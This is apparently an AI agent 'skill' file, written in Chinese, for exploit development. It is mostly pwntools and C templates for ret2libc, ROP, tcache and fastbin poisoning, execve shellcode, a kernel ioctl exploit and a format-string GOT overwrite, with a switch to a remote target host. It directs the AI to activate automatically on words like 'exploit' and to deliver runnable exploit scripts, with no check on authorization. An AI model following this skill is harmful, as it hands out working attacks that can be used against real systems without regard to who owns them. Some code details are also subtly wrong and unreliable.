Seagull Exploit Development Skill
漏洞利用工程：崩溃分析、原语识别、ROP 链、堆利用、pwntools harness、shellcode、内核利用。
触发条件
- 用户提到：pwn、exploit、漏洞利用、栈溢出、堆利用、ROP
- 提供崩溃样本、二进制、core dump、PoC
- CTF pwn 题目
工作流程
1. 崩溃 Triage
基本信息收集：
bash
# 文件信息
file binary
checksec --file=binary
# 保护机制
# NX (No-eXecute): 栈不可执行
# PIE (Position Independent Executable): 地址随机化
# Canary: 栈保护
# RELRO: GOT 表保护
GDB 调试：
bash
gdb ./binary
(gdb) run < crash_input.txt
(gdb) info registers
(gdb) x/20wx $rsp # 查看栈
(gdb) bt # 回溯
(gdb) disassemble $rip
pwntools 快速 Triage：
python
from pwn import *
context.binary = './binary'
io = process('./binary')
# 发送恶意输入
io.sendline(cyclic(200))
io.wait()
# 获取 core dump
core = io.corefile
print(f"Crash at: {hex(core.fault_addr)}")
print(f"Offset: {cyclic_find(core.read(core.rsp, 4))}")
2. 栈溢出利用
ret2libc 模板：
python
#!/usr/bin/env python3
from pwn import *
# 配置
binary = ELF('./vuln')
libc = ELF('./libc.so.6')
context.binary = binary
context.log_level = 'debug'
# 本地/远程切换
if args.REMOTE:
io = remote('target.com', 1337)
else:
io = process(binary.path)
# 1. 泄露 libc 地址
offset = 64 # 覆盖到返回地址的偏移
payload = flat(
b'A' * offset,
binary.plt['puts'], # 调用 puts
binary.symbols['main'], # 返回到 main 继续
binary.got['puts'] # 参数：puts GOT 地址
)
io.sendline(payload)
io.recvuntil(b'output:\n')
leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f"Leaked puts: {hex(leaked_puts)}")
# 计算 libc 基址
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
# 2. 调用 system("/bin/sh")
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload2 = flat(
b'A' * offset,
system,
0xdeadbeef, # 假返回地址
binsh
)
io.sendline(payload2)
io.interactive()
ROP 链生成：
python
from pwn import *
binary = ELF('./binary')
rop = ROP(binary)
# 自动构建 ROP 链
rop.call('puts', [binary.got['puts']])
rop.call('main')
print(rop.dump())
payload = fit({offset: rop.chain()})
3. 堆利用
tcache poisoning (glibc 2.27+)：
python
#!/usr/bin/env python3
from pwn import *
binary = ELF('./heap_vuln')
libc = ELF('./libc-2.27.so')
context.binary = binary
io = process(binary.path)
def alloc(size, data):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Size: ', str(size).encode())
io.sendlineafter(b'Data: ', data)
def free(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Index: ', str(idx).encode())
# 1. 分配两个 chunk
alloc(0x80, b'A' * 8) # chunk 0
alloc(0x80, b'B' * 8) # chunk 1
# 2. Free 到 tcache
free(0)
free(1)
# 3. UAF 修改 tcache->next 指针
# tcache bin: chunk1 -> chunk0 -> NULL
# 修改 chunk1 的 next 指向目标地址
target = binary.symbols['__malloc_hook']
alloc(0x80, p64(target)) # 覆盖 chunk1 的 next
# 4. 分配到目标地址
alloc(0x80, b'C' * 8) # 消耗 chunk1
alloc(0x80, p64(libc.symbols['system'])) # 写入 one_gadget
io.interactive()
fastbin attack：
python
# Double free
free(0)
free(1)
free(0) # 绕过 double free 检查
# 现在 fastbin: chunk0 -> chunk1 -> chunk0
# 修改 chunk0 的 fd 指针
alloc(0x60, p64(target_addr))
alloc(0x60, b'A')
alloc(0x60, b'B')
alloc(0x60, payload) # 分配到 target_addr
4. Shellcode 编写
通用 x64 shellcode (execve("/bin/sh"))：
python
shellcode = asm("""
/* execve("/bin/sh", NULL, NULL) */
xor rsi, rsi
xor rdx, rdx
mov rax, 0x68732f6e69622f /* "/bin/sh" */
push rax
mov rdi, rsp
xor rax, rax
mov al, 59 /* __NR_execve */
syscall
""")
print(disasm(shellcode))
print(f"Shellcode ({len(shellcode)} bytes): {shellcode.hex()}")
带约束的 shellcode（无 null 字节）：
python
from pwn import *
context.arch = 'amd64'
# 方法 1: pwntools 自动生成
sc = shellcraft.amd64.linux.sh()
shellcode = asm(sc)
# 方法 2: 手工避免 null
shellcode = asm("""
xor rsi, rsi
mul rsi /* rax=0, rdx=0 */
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
syscall
""")
# 验证无 null 字节
assert b'\x00' not in shellcode
5. 内核利用（基础）
内核模块漏洞利用模板：
c
// exploit.c - 内核栈溢出利用
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define DEVICE "/dev/vuln_device"
#define IOCTL_CMD 0x1337
unsigned long user_cs, user_ss, user_rflags, user_rsp;
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void get_shell() {
system("/bin/sh");
}
unsigned long find_commit_creds() {
// 从 /proc/kallsyms 读取
FILE *f = fopen("/proc/kallsyms", "r");
char buf[256];
unsigned long addr = 0;
while (fgets(buf, sizeof(buf), f)) {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%lx", &addr);
break;
}
}
fclose(f);
return addr;
}
int main() {
save_state();
int fd = open(DEVICE, O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
// 构造 ROP 链
unsigned long rop[20];
int i = 0;
// ... ROP 链内容
// 触发溢出
ioctl(fd, IOCTL_CMD, rop);
close(fd);
return 0;
}
6. 格式化字符串漏洞
python
#!/usr/bin/env python3
from pwn import *
binary = ELF('./fmt_vuln')
context.binary = binary
io = process(binary.path)
# 1. 泄露栈上的值
io.sendline(b'%p ' * 20)
leak = io.recvline()
print(f"Stack leak: {leak}")
# 2. 任意写（覆盖 GOT）
# 目标：修改 printf@GOT 为 system
target = binary.got['printf']
value = binary.symbols['system']
# %n 写入
payload = fmtstr_payload(6, {target: value})
io.sendline(payload)
io.interactive()
7. 完整 Exploit 模板
python
#!/usr/bin/env python3
"""
Exploit for [CTF Challenge Name]
Binary: vuln
Libc: libc-2.27.so
Vulnerability: Stack buffer overflow
"""
from pwn import *
# ========== 配置 ==========
binary_path = './vuln'
libc_path = './libc-2.27.so'
remote_host = 'target.com'
remote_port = 1337
# ========== 初始化 ==========
binary = ELF(binary_path)
libc = ELF(libc_path)
context.binary = binary
context.log_level = 'info'
# 本地/远程切换
def get_io():
if args.REMOTE:
return remote(remote_host, remote_port)
elif args.GDB:
return gdb.debug(binary_path, '''
break *vuln_function+123
continue
''')
else:
return process(binary_path)
# ========== 辅助函数 ==========
def leak_libc(io):
"""泄露 libc 基址"""
offset = 64
payload = flat(
b'A' * offset,
binary.plt['puts'],
binary.symbols['main'],
binary.got['puts']
)
io.sendline(payload)
io.recvuntil(b'output:\n')
leaked = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
return libc.address
def pwn(io):
"""执行利用"""
# 第一阶段：泄露 libc
leak_libc(io)
# 第二阶段：getshell
offset = 64
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload = flat(
b'A' * offset,
system,
0xdeadbeef,
binsh
)
io.sendline(payload)
io.interactive()
# ========== 主函数 ==========
if __name__ == '__main__':
io = get_io()
pwn(io)
工具箱
pwntools 常用函数
python
# 连接
io = process('./binary')
io = remote('host', port)
io = gdb.debug('./binary', 'break main')
# 交互
io.send(data)
io.sendline(data)
io.recv(n)
io.recvuntil(delim)
io.interactive()
# 打包/解包
p32(0x12345678) # \x78\x56\x34\x12
u32(b'\x78\x56\x34\x12') # 0x12345678
p64 / u64
# flat 打包
flat(0x41414141, 0x42424242, b'CCCC')
# cyclic 模式
cyclic(100) # 生成
cyclic_find(0x61616171) # 查找偏移
# ELF 操作
binary = ELF('./vuln')
binary.symbols['main']
binary.got['puts']
binary.plt['puts']
# ROP
rop = ROP(binary)
rop.call('puts', [binary.got['puts']])
rop.raw(0xdeadbeef)
双平台支持
Linux
bash
# 编译
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
# 调试
gdb ./vuln
pwndbg / gef / peda
# one_gadget
one_gadget libc.so.6
Windows
powershell
# 编译（Visual Studio）
cl /GS- /DWIN32 vuln.c
# 调试
windbg -g vuln.exe
x64dbg vuln.exe
# ROP gadget 搜索
rp++ -f vuln.exe -r 5 > gadgets.txt
交付清单
- 崩溃分析与原语识别
- 完整 exploit 脚本（pwntools）
- 本地/远程切换逻辑
- Payload 构造说明
- 利用步骤与验证
路由激活：当用户提到 pwn、exploit、栈溢出、堆利用或提供崩溃样本时，自动使用本技能。
直接交付可运行 exploit 脚本 + 本地/远程切换 + 验证命令。